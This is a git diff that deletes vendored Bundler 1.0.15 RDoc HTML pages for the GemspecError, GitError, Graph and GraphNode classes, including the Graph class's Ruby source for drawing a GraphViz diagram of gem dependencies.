-						title="show/hide quicksearch" /></span></h3>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemspecError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemspecError.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemspecError.html
+++ /dev/null
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-		<h1 class="class">Bundler::GemspecError</h1>
-
-		<div id="description">
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-		</div>
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-		<!-- Constants -->
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-		
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-		<!-- Methods -->
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-
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GitError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GitError.html
deleted file mode 100644
index e6d3912d..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GitError.html
+++ /dev/null
@@ -1,330 +0,0 @@
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::GitError</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
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-
-</head>
-<body class="class">
-
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-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
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-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
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-					<ul>
-					
-						<li><a href="../lib/bundler_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
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-				
-				<p class="link"><a href="BundlerError.html">Bundler::BundlerError</a></p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
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-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
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-				<h3 class="section-header">Files</h3>
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-				
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-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
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-				
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-				
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-				
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-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
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-				
-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../Bundler/Source/Git.html">Bundler::Source::Git</a></li>
-				
-					<li><a href="../Bundler/Source/Path.html">Bundler::Source::Path</a></li>
-				
-					<li><a href="../Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-				
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-				
-					<li><a href="../Bundler/UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-				
-					<li><a href="../Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
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-				
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-				
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-				
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-		<h1 class="class">Bundler::GitError</h1>
-
-		<div id="description">
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-		</div>
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-		<!-- Constants -->
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-
-		<!-- Attributes -->
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-
-		<!-- Methods -->
-		
-
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-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Graph.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Graph.html
deleted file mode 100644
index f94fa579..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Graph.html
+++ /dev/null
@@ -1,633 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::Graph</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
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-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
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-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
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-					<ul>
-					
-						<li><a href="../lib/bundler/graph_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
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-
-			
-		</div>
-
-		<div id="class-metadata">
-
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-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
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-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-groups">#groups</a></li>
-					
-					<li><a href="#method-i-nodes">#nodes</a></li>
-					
-					<li><a href="#method-i-populate">#populate</a></li>
-					
-					<li><a href="#method-i-viz">#viz</a></li>
-					
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-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
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-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
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-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
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-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
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-				
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-			</div>
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-	<div id="documentation">
-		<h1 class="class">Bundler::Graph</h1>
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-		<div id="description">
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-		</div>
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-		<!-- Constants -->
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-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
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-				<dt><a name="USER_OPTIONS">USER_OPTIONS</a></dt>
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-				<dd class="description"></dd>
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-				<a name="method-c-new"></a>
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-   <span class="ruby-comment cmt"># File lib/bundler/graph.rb, line 6</span>
-6:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">env</span>)
-7:       <span class="ruby-ivar">@env</span> = <span class="ruby-identifier">env</span>
-8:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="groups-method" class="method-detail ">
-				<a name="method-i-groups"></a>
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-				<div class="method-heading">
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-					<span class="method-name">groups</span><span
-						class="method-args">()</span>
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-    <span class="ruby-comment cmt"># File lib/bundler/graph.rb, line 15</span>
-15:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">groups</span>
-16:       <span class="ruby-identifier">populate</span>
-17:       <span class="ruby-ivar">@groups</span>
-18:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/graph.rb, line 10</span>
-10:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">nodes</span>
-11:       <span class="ruby-identifier">populate</span>
-12:       <span class="ruby-ivar">@nodes</span>
-13:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-viz"></a>
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-					<span class="method-name">viz</span><span
-						class="method-args">(output_file, show_gem_versions = false, show_dependency_requirements = false)</span>
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-    <span class="ruby-comment cmt"># File lib/bundler/graph.rb, line 20</span>
-20:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">viz</span>(<span class="ruby-identifier">output_file</span>, <span class="ruby-identifier">show_gem_versions</span> = <span class="ruby-keyword kw">false</span>, <span class="ruby-identifier">show_dependency_requirements</span> = <span class="ruby-keyword kw">false</span>)
-21:       <span class="ruby-identifier">require</span> <span class="ruby-value str">'graphviz'</span>
-22:       <span class="ruby-identifier">populate</span>
-23: 
-24:       <span class="ruby-identifier">graph_viz</span> = <span class="ruby-constant">GraphViz</span><span class="ruby-operator">::</span><span class="ruby-identifier">new</span>(<span class="ruby-value str">'Gemfile'</span>, {<span class="ruby-value">:concentrate</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">true</span>, <span class="ruby-value">:normalize</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">true</span>, <span class="ruby-value">:nodesep</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">0.55</span>})
-25:       <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">edge</span>[<span class="ruby-value">:fontname</span>] = <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">node</span>[<span class="ruby-value">:fontname</span>] = <span class="ruby-value str">'Arial, Helvetica, SansSerif'</span>
-26:       <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">edge</span>[<span class="ruby-value">:fontsize</span>] = <span class="ruby-value">12</span>
-27: 
-28:       <span class="ruby-identifier">viz_nodes</span> = {}
-29: 
-30:       <span class="ruby-comment cmt"># populate all of the nodes</span>
-31:       <span class="ruby-identifier">nodes</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span>, <span class="ruby-identifier">node</span><span class="ruby-operator">|</span>
-32:         <span class="ruby-identifier">label</span> = <span class="ruby-identifier">name</span>.<span class="ruby-identifier">dup</span>
-33:         <span class="ruby-identifier">label</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;\n#{node.version}&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">show_gem_versions</span>
-34:         <span class="ruby-identifier">options</span> = { <span class="ruby-value">:label</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">label</span> }
-35:         <span class="ruby-identifier">options</span>.<span class="ruby-identifier">merge!</span>( <span class="ruby-constant">USER_OPTIONS</span> ) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">node</span>.<span class="ruby-identifier">is_user</span>
-36:         <span class="ruby-identifier">viz_nodes</span>[<span class="ruby-identifier">name</span>] = <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">add_node</span>( <span class="ruby-identifier">name</span>, <span class="ruby-identifier">options</span> )
-37:       <span class="ruby-keyword kw">end</span>
-38: 
-39:       <span class="ruby-identifier">group_nodes</span> = {}
-40:       <span class="ruby-ivar">@groups</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span>, <span class="ruby-identifier">dependencies</span><span class="ruby-operator">|</span>
-41:         <span class="ruby-identifier">group_nodes</span>[<span class="ruby-identifier">name</span>] = <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">add_node</span>(<span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>, { <span class="ruby-value">:shape</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'box3d'</span>, <span class="ruby-value">:fontsize</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">16</span> }.<span class="ruby-identifier">merge</span>(<span class="ruby-constant">USER_OPTIONS</span>))
-42:         <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dependency</span><span class="ruby-operator">|</span>
-43:           <span class="ruby-identifier">options</span> = { <span class="ruby-value">:weight</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span> }
-44:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">show_dependency_requirements</span> <span class="ruby-operator">&amp;&amp;</span> (<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">!=</span> <span class="ruby-value str">&quot;&gt;= 0&quot;</span>)
-45:             <span class="ruby-identifier">options</span>[<span class="ruby-value">:label</span>] = <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">to_s</span>
-46:           <span class="ruby-keyword kw">end</span>
-47:           <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">add_edge</span>( <span class="ruby-identifier">group_nodes</span>[<span class="ruby-identifier">name</span>], <span class="ruby-identifier">viz_nodes</span>[<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">name</span>], <span class="ruby-identifier">options</span> )
-48:         <span class="ruby-keyword kw">end</span>
-49:       <span class="ruby-keyword kw">end</span>
-50: 
-51:       <span class="ruby-ivar">@groups</span>.<span class="ruby-identifier">keys</span>.<span class="ruby-identifier">select</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">group</span><span class="ruby-operator">|</span> <span class="ruby-identifier">group</span> <span class="ruby-operator">!=</span> <span class="ruby-value">:default</span> }.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">group</span><span class="ruby-operator">|</span>
-52:         <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">add_edge</span>( <span class="ruby-identifier">group_nodes</span>[<span class="ruby-identifier">group</span>], <span class="ruby-identifier">group_nodes</span>[<span class="ruby-value">:default</span>], { <span class="ruby-value">:weight</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span> } )
-53:       <span class="ruby-keyword kw">end</span>
-54: 
-55:       <span class="ruby-identifier">viz_nodes</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span>, <span class="ruby-identifier">node</span><span class="ruby-operator">|</span>
-56:         <span class="ruby-identifier">nodes</span>[<span class="ruby-identifier">name</span>].<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dependency</span><span class="ruby-operator">|</span>
-57:           <span class="ruby-identifier">options</span> = { }
-58:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">nodes</span>[<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">name</span>].<span class="ruby-identifier">is_user</span>
-59:             <span class="ruby-identifier">options</span>[<span class="ruby-value">:constraint</span>] = <span class="ruby-keyword kw">false</span>
-60:           <span class="ruby-keyword kw">end</span>
-61:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">show_dependency_requirements</span> <span class="ruby-operator">&amp;&amp;</span> (<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">!=</span> <span class="ruby-value str">&quot;&gt;= 0&quot;</span>)
-62:             <span class="ruby-identifier">options</span>[<span class="ruby-value">:label</span>] = <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">to_s</span>
-63:           <span class="ruby-keyword kw">end</span>
-64: 
-65:           <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">add_edge</span>( <span class="ruby-identifier">node</span>, <span class="ruby-identifier">viz_nodes</span>[<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">name</span>], <span class="ruby-identifier">options</span> )
-66:         <span class="ruby-keyword kw">end</span>
-67:       <span class="ruby-keyword kw">end</span>
-68: 
-69:       <span class="ruby-identifier">graph_viz</span>.<span class="ruby-identifier">output</span>( <span class="ruby-value">:png</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">output_file</span> )
-70:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
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-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="populate-method" class="method-detail ">
-				<a name="method-i-populate"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">populate</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					
-					<div class="method-source-code"
-						id="populate-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/graph.rb, line 74</span>
- 74:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">populate</span>
- 75:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@populated</span>
- 76: 
- 77:       <span class="ruby-comment cmt"># hash of name =&gt; GraphNode</span>
- 78:       <span class="ruby-ivar">@nodes</span> = {}
- 79:       <span class="ruby-ivar">@groups</span> = {}
- 80: 
- 81:       <span class="ruby-comment cmt"># Populate @nodes</span>
- 82:       <span class="ruby-ivar">@env</span>.<span class="ruby-identifier">specs</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span> <span class="ruby-ivar">@nodes</span>[<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>] = <span class="ruby-constant">GraphNode</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>, <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>) }
- 83: 
- 84:       <span class="ruby-comment cmt"># For gems in Gemfile, add details</span>
- 85:       <span class="ruby-ivar">@env</span>.<span class="ruby-identifier">current_dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dependency</span><span class="ruby-operator">|</span>
- 86:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">node</span> = <span class="ruby-ivar">@nodes</span>[<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">name</span>]
- 87:         <span class="ruby-identifier">node</span>.<span class="ruby-identifier">is_user</span> = <span class="ruby-keyword kw">true</span>
- 88: 
- 89:         <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">groups</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">group</span><span class="ruby-operator">|</span>
- 90:           <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@groups</span>.<span class="ruby-identifier">has_key?</span> <span class="ruby-identifier">group</span>
- 91:             <span class="ruby-identifier">group</span> = <span class="ruby-ivar">@groups</span>[<span class="ruby-identifier">group</span>]
- 92:           <span class="ruby-keyword kw">else</span>
- 93:             <span class="ruby-identifier">group</span> = <span class="ruby-ivar">@groups</span>[<span class="ruby-identifier">group</span>] = []
- 94:           <span class="ruby-keyword kw">end</span>
- 95:           <span class="ruby-identifier">group</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dependency</span>
- 96:         <span class="ruby-keyword kw">end</span>
- 97:       <span class="ruby-keyword kw">end</span>
- 98: 
- 99:       <span class="ruby-comment cmt"># walk though a final time and add edges</span>
-100:       <span class="ruby-ivar">@env</span>.<span class="ruby-identifier">specs</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span>
-101: 
-102:         <span class="ruby-identifier">from</span> = <span class="ruby-ivar">@nodes</span>[<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>]
-103:         <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">runtime_dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dependency</span><span class="ruby-operator">|</span>
-104:           <span class="ruby-identifier">from</span>.<span class="ruby-identifier">dependencies</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dependency</span>
-105:         <span class="ruby-keyword kw">end</span>
-106: 
-107:       <span class="ruby-keyword kw">end</span>
-108: 
-109:       <span class="ruby-ivar">@nodes</span>.<span class="ruby-identifier">freeze</span>
-110:       <span class="ruby-ivar">@groups</span>.<span class="ruby-identifier">freeze</span>
-111:       <span class="ruby-ivar">@populated</span> = <span class="ruby-keyword kw">true</span>
-112:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
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-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GraphNode.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GraphNode.html
deleted file mode 100644
index 185b6148..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GraphNode.html
+++ /dev/null
@@ -1,453 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
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-
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-
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-		charset="utf-8"></script>
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-<body class="class">
-
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-          <a href="../index.html#classes">Classes</a>
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-        </h3>
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-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/graph_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/graph.rb">lib/bundler/graph.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
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-			
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
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-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update.html">bundle-update</a></li>
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-				
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-				
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-				
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-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
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-				
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-				
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-				
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-					<li><a href="../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
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-				
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-				
-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
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-				
-					<li><a href="../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
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-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../Thor/Task.html">Thor::Task</a></li>
-				
-					<li><a href="../Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
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-				
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-				
-					<li><a href="../Gem.html">Gem</a></li>
-				
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-				
-					<li><a href="../Gem/Platform.html">Gem::Platform</a></li>
-				
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-				
-					<li><a href="../Gem/Specification.html">Gem::Specification</a></li>
-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::GraphNode</h1>
-
-		<div id="description">
-			<p>
-Add version info
-</p>
-
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="name-attribute-method" class="method-detail">
-				<a name="name"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">name</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="dependencies-attribute-method" class="method-detail">
-				<a name="dependencies"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">dependencies</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="version-attribute-method" class="method-detail">
-				<a name="version"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">version</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="is-user-attribute-method" class="method-detail">
-				<a name="is_user"></a>
-				
-				<a name="is_user="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">is_user</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(name, version)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/graph.rb, line 119</span>
-119:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>)
-120:       <span class="ruby-ivar">@name</span> = <span class="ruby-identifier">name</span>
-121:       <span class="ruby-ivar">@version</span> = <span class="ruby-identifier">version</span>
-122:       <span class="ruby-ivar">@is_user</span> = <span class="ruby-keyword kw">false</span>
-123:       <span class="ruby-ivar">@dependencies</span> = []
-124:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
